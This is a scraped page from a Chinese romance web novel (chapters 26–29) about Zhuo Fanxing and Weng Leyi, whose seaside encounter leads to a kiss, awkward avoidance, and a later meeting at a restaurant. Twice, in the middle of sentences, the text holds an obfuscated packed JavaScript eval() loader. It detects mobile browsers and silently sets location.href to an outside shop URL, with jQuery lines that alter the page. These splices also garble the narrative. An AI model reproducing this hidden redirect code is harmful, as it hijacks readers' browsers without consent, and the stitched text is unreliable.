不得不承认,这几人身材样貌都很不错,比那日会所里排成排的男士也不遑多让。 邵丽丽揽着卓繁星的肩膀感叹道:“还不错了对吧,这个身材这个脸,算是高质量男性了吧。哎,今天好几个小妹妹来要微信,要不是腿瘸了,这得有多完美——哎——” 卓繁星拿起邵丽丽的橙汁喝了一口。 “我兑了酒啦。” 卓繁星捂着嘴,眼神控诉,你这个提醒也来的太慢了。 “拜托,这种场合喝什么橙汁啦。”她笑她。“要不要给你拿瓶水?” “我自己去。” 高度的甜酒让脸一下热起来,卓繁星感觉人有些轻飘飘的,手贴一下脸果然是烫的。她本来就没有什么酒量,又容易上脸,幸好没有什么酒精过敏的毛病,不然真是要死。 她喝了一口水,慢吞吞挪到烧烤架前。 翁乐仪这时的厚毛衣就很有安全感了,他不动声色的时候,下巴整个埋在领子里,十分温暖。整个人仿佛浸在墨蓝色的幕布里,尽管咖啡厅挂着灯条,不远处的篝火也在燃烧,却仿佛天然被隔绝开,使他有种天然的忧郁和冷淡。 卓繁星被他黑玻璃一样的眼睛攫住,颤颤地发出声音。“要帮忙吗?” 她不知道自己的眼睛水汪汪的,翁乐仪插在裤袋里的手动了动,抽出来把架子上的食材翻了一下。 “不用。你去拍照吧。” “我拍过了。”她看了一眼挤满了人的平台边缘。“我帮你吧。”她把矿泉水放下,去拿铁签子。 翁乐仪皱着眉还没开口,她就被烫了一下。 好了,这下水汪汪变湿漉漉了。 “烫到哪儿了?”翁乐仪拽过她的手,确认了问题不大,拿过自己放在一旁的冰啤酒盖在她手上。 “这里不需要你帮忙。” 卓繁星积了一肚子的委屈和不解,在这冷冷的声音里被堵在了喉咙里,像水蒸气一样凝结成了雨,又落回地上。 “不好意思。” 翁乐仪看着她抽走的手,心里越发奇怪。 这之后的烧烤夜景闲聊都味同嚼蜡,让人忍不住出神发呆。 去酒店的路上,洪旺说:“你认识那姑娘?” “谁?”翁乐仪看着窗外心不在焉。 “短头发的那个。吃饭前我看你和她在聊天好像。” 翁乐仪说:“她问我要不要帮忙。” 洪旺笑出来。“钱琦正在追她哎。” “所以?” “她对你有意思。” 翁乐仪这才转头扔了个白眼给他。“她只是想试试自己烤。” “好吧,好吧。”洪旺摆手。“不过钱琦正也有意思,他和另外一个女的在接吻。” 翁乐仪的眉头狠狠皱了起来。 26. 第 26 章 卓繁星因为多吃的一口酒,整个晚上都是迟钝的。好在一群人吃了烧烤,围着篝火看星星,也没有其他事。 这一夜睡得很香,沉沉的,没有什么梦。再醒过来邵丽丽在边上睡得正香,时间才六点,天还只有蒙蒙亮。 外面的露台正对大海,一声又一声的海浪声,规律而安谧,昨天就是听着这样的声音入睡的吧。天然的白噪音真的能治愈焦虑。 卓繁星感觉自己的心情又变好了,像黎明拂走阴霾的晨光。 她穿上鞋子披上外套,走了出去,海边空荡荡,适合一个人的漫步。 “你——”她听见声音转过头。 早上的风很大,将头发吹得乱七八糟。翁乐仪匆匆穿了一件灰色的风衣,风衣的领口时不时被吹起来,有些俏皮地抚过他的下颚,一下又一下。 他还没刮胡子,较之昨日,有些落拓的美感。 “早。”卓繁星收拾好心情,同他问好。 翁乐仪追上来时不过是觉得自己该来,有话要讲,可真到了跟前,又觉得无比的突兀。这让他难以开口,觉得有种无法排解的仓皇感。 “早。”他低头颔首,下巴埋进拉链拉到顶端的套头衫里。 两人静静站了一会儿,卓繁星由先前淡淡的紧张转而平静。 这样的清晨令她想起多年前日本的清晨。 她还记得那样清楚,不知道他呢? 她不由自主地转头看他,在他看过来时,捋了捋被吹乱的头发——回去该剪头发了,她想。现在正是半长不短,最尴尬的时候。 昨日的不解和委屈又卷土重来,可她要开口要个答案吗? 显然没这个必要。 她想到多年前,在那家小酒馆门口。她至今记忆犹新,因为那是一家特别漂亮的酒馆,没有招牌,门口奶白色的墙面上围绕着紫色的花束,从外面看像一家温暖的面包店。要通过向下的楼梯,走到地下,才知道另有乾坤。 他们刚刚看完一场爵士演出。这是他们第一次同小苑徐謇分开行动。她手里还拿着他来看校庆表演,送她的花。 “回去吧。” 她被他骤然冷淡的样子弄得迷惑且慌乱,喝了一晚上的气泡水像是在肚子里也打起了泡泡。 “我......”她咬着唇。小苑分开前握着爪子说今天就拿下他!刚把爹!那个样子还在眼前。 面前的人不耐烦地捋了下头发,视线追着开过去的一辆出租车,又转回来看她。 卓繁星将告白的话吞回肚子里。 下次吧,还是下次再讲吧。今天毕竟已经很晚了呀。 “嗯,回去吧。”她这样讲。 这一晃就是许多年。卓繁星悄悄叹了口气。 “我先回去了。”她突然不想再和他呆在一起了,不想再去猜他的心思,他昨天为什么那样。都与她无关。她要走了。 翁乐仪跟上来,他的黑色裤子被风吹得贴住,能让人清晰地知道那条腿是假的。 “那个钱琦正——是个花花公子。”他顿了顿,不大自然地开口:“你别和他走太近。” 卓繁星说:“我没和他走近。” “你们不是一道来的?”翁乐仪特别不习惯这样的对话。“我就是提醒你。” 卓繁星突然就觉得恼怒,夹杂着昨天的委屈,让她控制不住。她随意地哦了一声,说:“他在追我。” 翁乐仪的眼睛眯了一下,他们两个像是两只针锋相对的动物。 “他和昨天来的其中一个姑娘很暧昧。洪旺看见他们在接吻——” “所以呢?” “我只是提醒你。” “好的,谢谢。我知道了。”卓繁星插着口袋点点头。“我先回去了。” 这场不欢而散就像岸边一下又一下海浪,打过来后又毫无痕迹。 邵丽丽醒来后已近中午。钱琦正提议去柑橘园。卓繁星无不可的答应了。她不想呆在酒店里发呆,这样会让她情绪更坏。 翁乐仪没有同行或许是个好消息。不过他们似乎本来就不是特别熟悉,好像叫洪旺的那个人和钱琦正比较熟。 洪旺说他不去,钱琦正表示理解。“他腿脚不太好嘛。” 卓繁星的心情更坏了。这导致她上了车后就开始闭眼睡觉,丝毫不想理会他的搭讪。 这日午后,翁乐仪在露台闲坐。他不觉得被“撇下”有什么不好,反而是这样安静的时候能让他缕一缕自己的思绪。 他带上耳机,翻过几页书,直到睡意来临。 过了一个钟头或者两个钟头,旁边的房间传来笑声,他拿下脸上的书,坐起来。 隔壁是洪旺的房间。他很快带着卓繁星一起来的那个朋友出现了。 “你们回来了?”外面的天很蓝,像油画一样。翁乐仪眨了下眼睛,被饱和度太高的颜色有些刺到。 洪旺说:“我们两个先回来了。” 翁乐仪哦了一声,目光落在邵丽丽身上。她今日穿了件白色长裙,脖子上围了一条红色针织衫,十分亮眼。 邵丽丽被他看的心慌片刻,这于她实在难得,大概是觉得他太过正经,而她面对这样的人恰恰最缺乏经验。 她没话找话般地开口。“柑橘园也没什么意思,太晒啦,我们就回来了。繁星去镇上了,那边有条风情街,不过我估计就是那点名堂,给游客看的啦。” 洪旺问他要不要下去喝一杯,翁乐仪拒绝了。他看出来他们之间有些暧昧,他不想打搅他们。 他问他借了车开出去,没听见洪旺和邵丽丽的话。他们两个站在露台上看见车子灵活地开走,邵丽丽忍不住讲:“他这个腿好开车吗?” 洪旺笑喷。“冷知识,开车只需要一条腿。” 邵丽丽哈哈大笑。“那我不是担心么。” “你担心他不如担心我。” “我担心你什么?” 两人对视一眼,不肖说,气氛逐渐暧昧。 卓繁星在一家书咖徘徊良久,不过是消磨时光。不知是不是因为昨日的冷淡消耗掉了钱琦正的一点耐心,还是苏苏姑娘太过厉害,他明显对她冷淡了许多。 从柑橘园出来,卓繁星便以昨日没有休息好为借口,没有同她们再去山上徒步,而是同洪旺邵丽丽一起离开,并在途中贴心的叫他们把她放下就好。 她点了一份咖啡套餐坐在窗边,在欣赏够了沿街的风景后开始被太阳照的昏昏欲睡。 哎,该回酒店的。 她只是怕遇上翁乐仪。早上的争执实在毫无必要,她现在回想起来就觉得尴尬。 一辆黑色的轿车停在路边,卓繁星快要闭上的眼睛看见驾驶位上的窗户落下,然后露出那张令她避之不及的脸。 卓繁星上了车,成年人本就不必要闹别扭。而他们显然是心智成熟,心态稳定的那类成年人。 只是忽略掉那些尴尬的寒暄和沉默的话,他们勉强算得上处理的十分自然。 翁乐仪表示她的朋友邵丽丽已经同他的朋友洪旺回到了酒店。 卓繁星点头,表示知道。好像他们是他们两个的家长一样,其实毫无必要对不对。 卓繁星说这条街很无聊,她已经逛过了,除了咖啡店就是装成咖啡店的各类店。 他们的对话在这里戛然而止,毕竟谁都不会没眼色的去提早上的事。 就让它过去吧。他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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早上不是下定决心不在同他一起的么,她不要再吃他这个橘子了,她明明可以试试其他的橘子。 车窗上映出人影,卓繁星与他对视着,良久,良久......道路上突然疾驰过数辆摩托车,轰鸣的声音响彻耳畔。 解开安全带的声音突兀而又清晰,在又恢复安静的车内空间中。 (原谅桌繁星良好的乘车习惯,她一上车就习惯系好安全带。) 这一声莫名比摩托车的轰鸣还要惊人,像是骤然扔进湖里的石头,叫人觉得不安。 翁乐仪已经去寻车门开关,就在他摸到的瞬间,身体被一股力量拉扯过去。 她靠近吻住了他。 卓繁星被折磨太久了,她又想到那个说不出喜欢他的夜晚,她明明捧着他送的花,却没有一个好结局。她喜欢他那么多年了,她总要有些回忆吧。 她不是小孩子了,她想要一些成年人的回忆,让她在日后即便嫁给他人,还是孤身一人,都有可怀念的东西。 她的吻在气势汹汹后很快落下来,翁乐仪感觉到嘴唇上的温度,软度,在初初的一吻后,又贴上来吮了一口。那是下唇肌肉配合着撅起才有的动作。 感受在理智之前就占据了他的大脑,他几乎只停顿了一秒就抱紧她,加深了这个吻。 卓繁星的手将他的头发揉乱,他们共享着橘子的味道,其实都是同一只橘子,应该没什么不同对不对。可是为什么好像就是不一样。 卓繁星被压在座位上时,短暂的分离让两人看清彼此的眼睛。 翁乐仪粗重的呼吸喷在她脸上,她的手还陷在他头发里——他有一头小卷毛啊。他刚刚的鼻子顶在她脸上,真的很高很挺,原来是这样的感觉。 她想被那只鼻子压着。 稀里糊涂又亲到一起去。 27. 第 27 章 手机突然震动,两个人像受惊一样分开。 翁乐仪弯下腰捡起脚边的手机——是洪旺的来电。他喘了口气,接通。 “对,我叫人过来了。”翁乐仪低着头,只能借着余光去看身边的人。洪旺似乎又说了些什么,也听不清。 “好,我定位发你。” 翁乐仪挂了电话,两人眼神一触即分。“洪旺让酒店的人过来接我们,车子交给他们就行。” 卓繁星嗯了一声。 之后便再无交谈。卓繁星感谢翁乐仪突然忙碌起来的手机,让他们避免许多尴尬。回去的时候,两人各自看着窗外,连眼神的交汇都尽量避免。 因为是一起回去的,邵丽丽打量地看着他们,把卓繁星扯到一边就问:“什么情况?” “路上碰到了。” “就这样?”邵丽丽不大相信。 “就这样。” 邵丽丽大胆猜测:“我觉得他是故意去找你的。” 卓繁星没什么心思与她聊下去,更怕聊的越多暴露越多。她觉得自己非常需要时间和空间去消化刚刚的事,所以打了个招呼便跑回了房间。 一到房间里,她就扑到床上,蓬松的被子包裹住她,她把自己埋进去。许久,嘤嘤呜呜的奇怪声音发出来,像是有什么动物钻在里面。她一下松开手,露出一张又红又烫的脸。 卓繁星看着天花板足足看了半分钟,随后缓缓伸手去摸自己的嘴唇——似乎还留有轻微的舔咬、拉扯的触感。 他们第一次接吻就很激烈。 与此同时翁乐仪也在被洪旺打趣。他撑着门框嬉笑着问他:“你,和那个美女,一起回来?” 翁乐仪说:“刚巧碰上。” “这么巧?” “你自己把脖子上的口红擦干净吧。”翁乐仪起身关门。 “微信加了没?要不要我帮你要来。”洪旺敲了两下门,见没动静走了。 翁乐仪闭着眼靠在墙上深呼吸,然而鼻子里似乎还有若有似无的橘子味。 他到卫生间洗了把脸,水珠从头发上落下,眼睛睫毛、到鼻子,嘴唇...... 他伸手摸着自己的嘴唇,狠狠捋了一下头发。 晚餐吃的自助,卓繁星没有下来。 洪旺问邵丽丽:“你朋友呢?” “她说她不饿,我等下问她要不要带点吃的。” 翁乐仪拿起酒杯喝了一口。钱琦正走过来,他们徒步回来都很累,他刚刚洗了澡下来。 “你们明天打算几点回去?” 邵丽丽说:“10点差不多吧。” 洪旺笑着说:“可以不用麻烦你,我送她们回去。” 钱琦正愣了下,目光在他和邵丽丽身上转了个来回,随即失笑。 “繁星呢?你和洪少走,我就带她回去吧。我来的时候车上可是两个美女,回去不能就孤家寡人了吧。” 邵丽丽嘻嘻笑了下。“那得问繁星的意思。” “她呢?”他才注意到。 邵丽丽也不想得罪他。“可能有点累了,你回来有问过她吗?” “我刚回来。”钱琦正有些心虚。“她不下来吃晚饭吗?” 邵丽丽嗯啊一声。“估计太累了。” “我去看下她。”他果断起身离开。 邵丽丽目送他远去,转个身的功夫翁乐仪拿下餐布,说:“你们吃,我吃好了。” 他推开玻璃门,走到平台上点了支烟。 远处就是海景,若非风太大,在室外的平台上用餐更有滋味。桌上的玻璃罩里点着白蜡烛,搭配的白玫瑰显得格外优雅。 邵丽丽说:“你朋友看起来有心事。” 洪旺目光望出去,笑了下,问她:“你朋友微信多少?” 晚上,翁乐仪回到房间,躺在阳台上的椅子上。他手里捏着一只餐厅里带回来的橘子,偶尔拿到鼻前嗅一嗅,漆黑的瞳孔注视着橘皮上的纹路,不知道想从里面看出什么来。 手机里洪旺发来信息:【帮你要来的,不用谢!】 翁乐仪把手机被扔到一边,骂了句脏话。 他其实在想她是不是后悔了。 不然为什么饭也不吃。 可明明是她主动的。 他想不通,翻过身闭上眼,脑袋抵着手臂,有些烦躁。 翁乐仪怀着复杂的心思入睡,第二天依旧早早醒了过来。他看了眼时间,第一反应就是打开窗帘——海滩上空无一人。 10点显得格外久,翁乐仪在用餐的时候仍旧没遇到卓繁星。在他拎着旅行包下来的时候,邵丽丽从电梯里出来了。 就她一个人。 “你朋友呢?”他装作不经意地开口。 “繁星昨天晚上就走了,好像有点事要赶回去。” 洪旺诧异。“她怎么回去的?” “打车。” “这么赶?” “嗯啊,估计是急事吧。” ...... 原谅卓繁星逃了。她只是没办法面对这件事,在冷静下来之后。 翁乐仪会怎么想?而且还有这么多人在。她觉得自己没办法在这么多人面前装作什么事都没有发生过——她一举一动都笨拙地像是在让所有人都看过来。 然后翁乐仪会怎么想? 她好像闯祸了。 卓繁星看着微信里的红点,叹气。邵丽丽在卫生间看她,说:“那个姓翁的帅哥对你有意思,洪旺问我要你微信,你加了没?” 卓繁星含糊地点头。 “虽然腿有点问题,但是问题不大。钱琦正后来还找你没?” 卓繁星没回答,已经遁逃回房间了。 他加她微信,她要不要通过。明明之前令她那么雀跃的事,却令她为难。她怎么和他解释她主动亲他。她当然是喜欢他的,可是不知道为什么,如今却说不出口了。 不知道是心理压力太大,还是出去玩了一趟太累,卓繁星回来就感冒了。 翁乐仪在加微信没通过后,又打来了一通电话。卓繁星猜测是他的,因为从京市打来,她觉得大概率就是他。 他为什么不能当做没发生过呢。她晕乎乎的脑子埋怨道。 进而联想到他会如何想她。 毕竟她曾经对着他,和蒋凌洲告白。其实已经是很久以前的事了。 然后他是如何回应的。隔着电话都能感受到他的无语——她第一次从他声音里听出冷漠和气愤。像是面对一个神经病。对,他就是说她有病。 他现在估计也觉得她是个有病的人。 或许还要加上随便、饥渴、莫名其妙这些字眼。 她想到蒋凌洲警告她的那些话。“卓繁星,你以为你是谁?可以在我们兄弟之间耍这些把戏。你觉得自己能把我们玩弄于股掌之间?” 她叹气。退出微信。她真的不该冲动的。 日子一切如旧。邵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067331|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽丽问了两次后,发现她十分冷淡,以为没戏便不再问了。 不过她着实落了个眼光高的名声来。 “真不知道你喜欢什么样的。”她叹气。“那个钱琦正没再烦你了吧。” 卓繁星后知后觉。“回来那天发过消息,后来就没有了。” 邵丽丽说:“他们这种男人就是这样的,没耐心,所以没什么好可惜的。” “你和那个洪旺在谈?” “随便玩玩的啦。走一步看一步吧。”邵丽丽不知想到了什么,叉腰道:“放心啦,他是真的单身。其实你那个赵医生也不错,你要不要推给我?” “你急着结婚吗?”卓繁星问她。 她趴在楼梯扶手上。“其实我想要过富太太的生活,就是那种啥也不干只要买买买。” “那赵医生恐怕满足不了你。” “哎。”她悠长地叹了口气。“做人好难啊。我不要爱情,我只想要花不完的钱。” 卓繁星笑着说:“米兔。” 没几天,卓强和程霞来了市区,卓繁星带着他们到医院复查,卓强的身体基本上2-3个月就要做一次检查。他们特意做的早车,到的时候也不过七点多。两人身上穿的是上次她买回去的衣服,手里提了一个袋子,说是自己做的腊肠。 卓强看见她带着口罩,声音也有点哑,急匆匆问怎么了,是不是生病了?繁星摇头说没事,就是换季了有点着凉。他哦了两声,眼睛里挂着担心。等检查做完,卓繁星带他们到医院门口吃午饭,没想到碰上了齐帆。 他是抽空来医院看个朋友,打算随便吃点就回公司。 正是热闹的时候,快餐厅里没有空位,他端着盘子扫了一圈就看见了卓繁星他们。 卓繁星给卓强和程霞介绍,“是我学生的家长。” 卓强哦了一声,刚刚的热络劲顿时没了。 “多亏了卓老师帮忙,我工作忙,孩子调皮给她添了不少麻烦。” 卓强说应该的,应该的。 齐帆是从公司出来,穿了身西装,鼻梁上架着眼镜显得十分儒雅沉稳,年纪看着比实际的大,二老都以为他有三十多了。 四人位子,他坐在卓繁星边上,时不时递个纸巾,说两句话。 等吃完出了快餐厅,他提出要送,三人忙说不用。他也没多客气,跟繁星点了点头,再跟二老礼貌道了别便上车离去。 卓繁星给他们打了快车,车上,程霞就跟卓强说:“我瞧着那个人对咱们灿灿有意思。” 卓强愣了下,说他有孩子呢。 程霞说:“你没听他那话,家里就一个保姆,估计是离婚了吧。” 卓强应了一声没响 程霞推了推他,“发什么愣啊,我觉得人看着还不错。” 卓强抿了下嘴唇,讷讷道:“那,那就是二婚。” “二婚怎么了?都什么年代了。”程霞说:“灿灿那身体,平常人家多多少少肯定有点介意的,上次王姐那外甥你忘了?我看那个齐先生开的车是宝马,刚刚他接了个电话,我看他那副样子像是公司里的领导呢,经济条件肯定还行啊。再说,他那个女儿听他说起来也挺喜欢灿灿的。这样一想,我觉得还挺合适的,你说对吧?” 卓强低着头,半晌说:“得要灿灿喜欢。” 程霞翻了个白眼,她喜欢,你女儿眼睛长在头顶上呢,光她喜欢有什么用,人家得看的上她呀。她看着窗外头,闭嘴不讲了。 28. 第 28 章 翁乐仪去京市出差,顺道就回去看了眼爷爷。他进了门,柳姨迎出来,说家里有人拜访。 “谁啊?” “姓周,好像是翁叔的学生。”她接过他的风衣挂到衣架上,说:“你先歇会儿,我去给你下碗面。” 客厅里坐着一个身材中等的中年男人,老爷子看见他笑说:“我刚刚就说好像听见你声音了。这是你周叔叔,他这次回来开个研讨会,顺道过来看我。” 翁乐仪打了招呼,略坐了坐,客人便就告辞了。 翁乐仪将人送出去回转,问爷爷:“最近来的人很多?”到这儿来住就是图个清静,别人来人往的反倒更累人。 翁爷爷摆手说不多。“你周叔叔难得来一趟。”他问他:“这次怎么回来了?要呆多久?” 翁乐仪说出差,刚好就过来看看,明天还要去妈那边一趟。 翁爷爷知道。“她那别墅吧。” “是,重新修整了一下。” “她是会折腾的。这叫情趣。你爸就是缺点这个味道,不怪你妈嫌弃。”翁爷爷笑起来。“晚上就歇这儿吧,别跑了。” 翁乐仪点头答应了,等吃完面,坐到沙发上喝茶,就见老爷子带着老花镜,正翻着膝盖上的相簿。 “你看这张,当年周峰和你差不多大,从老家背了一袋土货到咱们家里来,你奶那个时候特别爱吃他送的番薯干。” 翁乐仪顺着他的手指看到那张老照片,在天安门广场上拍的,奶奶和一个年轻男人。他这才想起来,周峰是他奶奶资助的学生。 老爷子叹了口气,翻了几页相册,“一晃眼,你奶都走了好几年了。” 摊开的相册中是两人结婚时候的照片。 “你看你奶奶,年轻的时候多漂亮。”他指给他看,“其实当时还拍了别的,但她喜欢这张。”照片里他穿的是中山装,她穿的是件绣花旗袍,他坐着,她站着,一人严肃,一人带笑。 “其实我那是紧张的,但她嫌我不笑,拍完了还生气。”他说着就笑了:“爱折腾,不过心也软,一哄就哄回来了。” 他一个人絮絮叨叨,说了一会儿又安静了。翁乐仪明白他这是睹物思人了,不打搅他,在边上静静陪着。 “哎呦,这是你周岁的时候,我都忘了怎么回事儿了,哭的跟花猫一样。” “这是我们一家去海边,你在沙滩上堆沙子,还一定要把捡的贝壳在土里种着,后来那一块儿再没生过草了。” “这是你第一次学自行车,这车现在好像还放在库房里。” 柳姨进来的时候,探头看了一眼,说:“睡了?” 翁乐仪点头:“睡了。” 他把他手上的相册拿开。“还早,就让他在沙发上躺会儿吧。” 柳姨说:“那我去拿床毯子来。” 自从奶奶去世,老人家头发就不染了,现在满头银发。 翁乐仪记得以前太阳好的时候,奶奶总爱在院子里给他染头发。她手巧的很,给他衣服罩上,再给自己戴上手套。翁乐仪就坐在板凳上看他们两个人拌嘴,一个挑剔,一个不乐意,他在边上咯咯的笑。 这与他父母截然不同。 他在两种风格的婚姻交融下长大。即便父母无法相守,也着实称的上体面。这使得他既没有似电视上演的那样对婚姻彻底悲观,从此变成不婚主义者,也没有保守似他父亲一定要寻个爱人规规矩矩的结婚。 这样说来,他似乎还是更像他母亲。 不过他还是太过慢热,而在这事上若没有一些热情与执着,往往是很难有个结果的。 不知是好是坏。 当初在国外,并非没有有意向的姑娘。只是在他腿出事儿后,连他自己都过的稀里糊涂,尚且接受不来。 他实在不想面对那姑娘关心外加羞愧的眼神。又不是只有他们两个在车上,且虽是她开的车,但她完全不是肇事之人。他实在怪不到她身上。 一切只能怪他倒霉。老天的安排。 初初萌芽的感情遭遇凛冬,还没开花就迅速枯萎。他很少记起她,如今因为卓繁星又令他免不了回顾起来。他想找些应对的经验,然而实在匮乏。 第二天郊外别墅。蒋濯衣请了亲朋一道来,阳光明媚,正适合用下午茶。 蒋濯衣喜欢布置屋子,在美国也买了这样一块地。她尤其喜欢看着房子建起来,再修整土地设计花园。 这栋别墅先前被作为画展秀场使用过,租金不菲。不过如今设计大改,凸显家的温馨来。 这与她的风格实在是差异很大。 俞秋华来看过一次,很喜欢这样的风格,这才有家的感觉。她一直觉得这个姑奶奶就和风一样,不定性。 同俞秋华一样感受的还有蒋濯衣的朋友。“你是要回归家庭了么?”搬到圣地亚哥的时候买了一座农场,不知怎么风格就越走越偏。 “艾米,我很难跟你形容。自从乐仪出事后,我就有种愧疚感。”蒋濯衣抱臂看着院子里坐在阳光下的孩子们。 朋友安慰地拍了拍她。“别太内疚,这是意外。” “我知道。” “乐仪有女朋友了吗?”今天蒋凌洲带了一个女孩儿来,还有一个女孩儿也很出挑。她说起,蒋濯衣笑道:“那是许筠。他们从小一起长大的,没可能。” 她突然笑起来。“他在这方面像他爸爸,不像我。” “这是好事儿啊。起码不会叫女孩子们伤心。” 保姆阿姨上了鲜榨的橙汁,林灿很喜欢,她喝了之后会去亲蒋凌洲。 陈跃忍不住吐槽:“我觉得你们要秀恩爱可以进屋里去。” 翁乐仪难得多看了几眼,说:“我不介意,你有种吃不到葡萄说葡萄酸的心理。” 陈跃气笑了。“你还好意思说我。你自己赶紧带 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翁乐仪弹了一段音乐,手指拿着铅笔在乐谱上划了两笔,终究看他。“如果,我是说如果,有个姑娘主动亲了你,可是她后来没有再理会你——这是什么意思?” 陈跃一下愣住,随即捂住嘴,夸张地后仰。 眼见着翁乐仪脸上杀气越来越重,他摆手,憋笑。“好,好,不好意思,我实在忍不住。” “你可以滚了。”他低下头。 “现在是连我有一个朋友都不用了么?” “什么意思?” “没什么意思。”陈跃凑近。“所以,你今天一直摆着个臭脸是为情所困。” “我没有为情所困。” “好好好,你没有。”他叉着手问:“所以那姑娘是谁?” 翁乐仪沉默。 “我好奇也很正常吧。何方神圣能让你沦落至此。Y市认识的?所以现在是那姑娘亲了你,但是她不认账。” 翁乐仪觉得这样说很难听,斜挑眉眼看他。 “你喜不喜欢她?这是关键,你要是不喜欢肯定无所谓了。你都这样问了,指定喜欢她。” 翁乐仪辩驳:“我不知道——或许不喜欢。”他低着头,重新弹曲子,只是连他自己都不知道在弹什么。机械僵硬,像是只要忙起来了,就可以骗过自己的脑子。 他为什么要喜欢她。 她曾经当着他的面对凌洲表白。所以还是那个问题:她为什么要亲他? 陈跃看他死鸭子嘴硬,点头附和,心里暗爽。 “那你就别纠结了。” “我没有纠结,我只是觉得奇怪。” “好,随你。”他摆手。“那你去不去泡温泉?” “不去——还是去吧。”翁乐仪把琴盖合上,他不想让自己显得太奇怪。 微信里果然还是没有任何消息。 29. 第 29 章 这日出门的时候,邵丽丽问她晚上聚会来不来。 “什么聚会?” “洪旺请客吃饭。” 卓繁星系鞋带的手顿了下。“我晚上跟别人约好了。”她庆幸提前有约了,给了她一个正当的拒绝理由,不然她真怕自己控制不住说要去。 她觉得自己现在就像在走钢丝,既怕面对他,又忍不住想见他。经历了多天的沉淀,她的脸皮好像变厚了,惧怕逐渐减少。可等她真的看见他,她又会忍不住想逃。 还好她答应了嘉嘉爸爸的邀约,还好,还好吧。 只是出门的时候还是忍不住失落,或许他没有那么排斥,不然为什么之后要加她微信。 这样的感觉一直延续到饭桌上,导致她兴致缺缺。好在齐帆只认为她是上课累了,并叫嘉嘉不要粘着她。卓繁星自觉羞愧,打起精神坐在嘉嘉旁边。 餐厅装修有些日式风格,巨大的落地窗可以俯瞰新区夜景。周末的座位基本都满了,不过这家餐厅走高端路线,安排的位置本就不多。人们坐在餐桌上,或交谈或拍照,声音细不可闻,似乎都不想引起注意。 齐帆看见翁乐仪的时候压着领带说了声不好意思,碰见上司了他得上去打声招呼。繁星看他起身过去,和正挤眼睛的邵丽丽对了个正着。 她看见翁乐仪往这儿看了一眼,又好像是她的错觉。嘉嘉在她边上说要吃冰淇淋,她转过来,拿叉子插着面包稍微刮了一点递给她,叮嘱道:“爸爸说不能多吃,这是最后一块了,知不知道?” 孩子很听话,珍惜地舔着面包上的冰淇淋,卓繁星摸了摸她的脑袋,想转头再偷偷看一眼,邵丽丽已经走到她边上了。 “你这是什么约啊?”她看了眼嘉嘉问她。 卓繁星说:“是我的学生,之前帮过几次忙,所以家长请我吃顿饭。”当时她是推辞的,但是孩子在边上抱着她的手臂摇,她就没好意思拒绝。 “那妈妈呢?”她凑到她耳边问。 卓繁星摇了摇头,她立刻明白了,单身爸爸,对上嘉嘉看过来的眼睛,她亲切地她打了个招呼。 “你们怎么在这儿吃?”卓繁星问她。 “我也不知道,洪旺订的。”她说着往后看了眼。“还真巧,孩子爸爸是翁总下面的经理。” “你不过去打个招呼?” “不去了。” 邵丽丽搭着椅背挑了下眉毛。“那你晚上吃完饭怎么安排?” 卓繁星说:“我等下直接回去了。” “行吧。”邵丽丽说:“那你走之前跟我说一声,咱们一起回去。” 齐帆回来了,同她简单介绍了一下翁乐仪。“没想到你朋友和他认识。”卓繁星嗯嗯应着,心不在焉。 手机上邵丽丽发过来信息:【这单身爸爸对你有意思。】 【我觉得这样一比还是翁总好。当后妈很累的!】 【再想想】 【他一直看你哎。】 【好像吃醋了。】 卓繁星本来心思就乱,现在更是乱成麻了,发了个打人的表情包,叫她闭嘴! 翁乐仪的位置正好能看见卓繁星的背影。她边上坐着个孩子,偶尔给孩子拿纸巾擦脸,齐帆则是脸上带笑看着她们两个。 想到早晨公司里,办公室八卦说齐经理晚上有约,开会的时候,他还扫了一眼齐帆身上的粉色领带和抹了发油的头发。后来茶水间,随意问了句,他说就是他女儿的舞蹈老师。 没想到会是她。 他惊讶于他们的缘分,即便她推拒了邀约,依然出现在了他面前。 卓繁星那儿结束的时候,邵丽丽让她直接坐电梯到地下停车场去。 齐帆听她说了就没硬要送她,离开的时候和她加了微信。 卓繁星到了停车场等了一会儿,邵丽丽还没下来。她打电话过去,电话刚通一转身就看见翁乐仪从电梯上下来。 “喂,喂,繁星。” “在,你人呢?” “我晚上住洪旺那儿,翁总刚好要回去呢,他送你。人已经下去了,你看见没?” 卓繁星咬着牙问:“你什么意思?” 她在那头嘿嘿的笑。“给个机会么。到家给我发个信息。挂了啊,拜拜。” 卓繁星喂了一声,翁乐仪已经走到她跟前了。 “不用麻烦你了,我坐地铁回去就行。” “上车。”他没多话,当然脸上也没笑容。 时间才七点多,正是夜生活开始的时候。和外头的热闹的相比,车里太过安静,连开车的司机都忍不住看了好几眼。 后座上,卓繁星捏着手,食指上被掐出好深一个印子。 到了小区大门口,她说我在这儿下就行。司机停好车,她开门下来,就听那边他和司机说:“你回去吧,不用等我。” 卓繁星看着他走过来,是不敢对视的,看了一眼视线就往下落到地上去了。 “还有事儿吗?” 翁乐仪说:“我加你微信为什么不通过?” “你有加我微信吗?我可能没看见。” “电话也没看见?” 卓繁星顿觉头皮发麻,视线里的男士皮鞋已经往另一边走了。 “翁乐仪——” 他转头看了她一眼,繁星瞬间噤声。 小区门口的这条街基本都是吃的,还有一家超市,卓繁星经常光顾,十分方便。然而这都不是重点,重点是翁乐仪要去哪儿? 卓繁星在又走过一家水果店后,鼓足勇气开口,他已经抬脚进了隔壁的门面。她看着招牌上的淮南牛肉粉丝汤陷入了短暂的沉默,然后乖乖跟了进去。 店里不足二十平,一共就摆了五张桌子。卓繁星一进去就闻到了浓浓的牛肉汤味道。 “美女吃什么?”老板兼厨师,舀着大勺子问她。 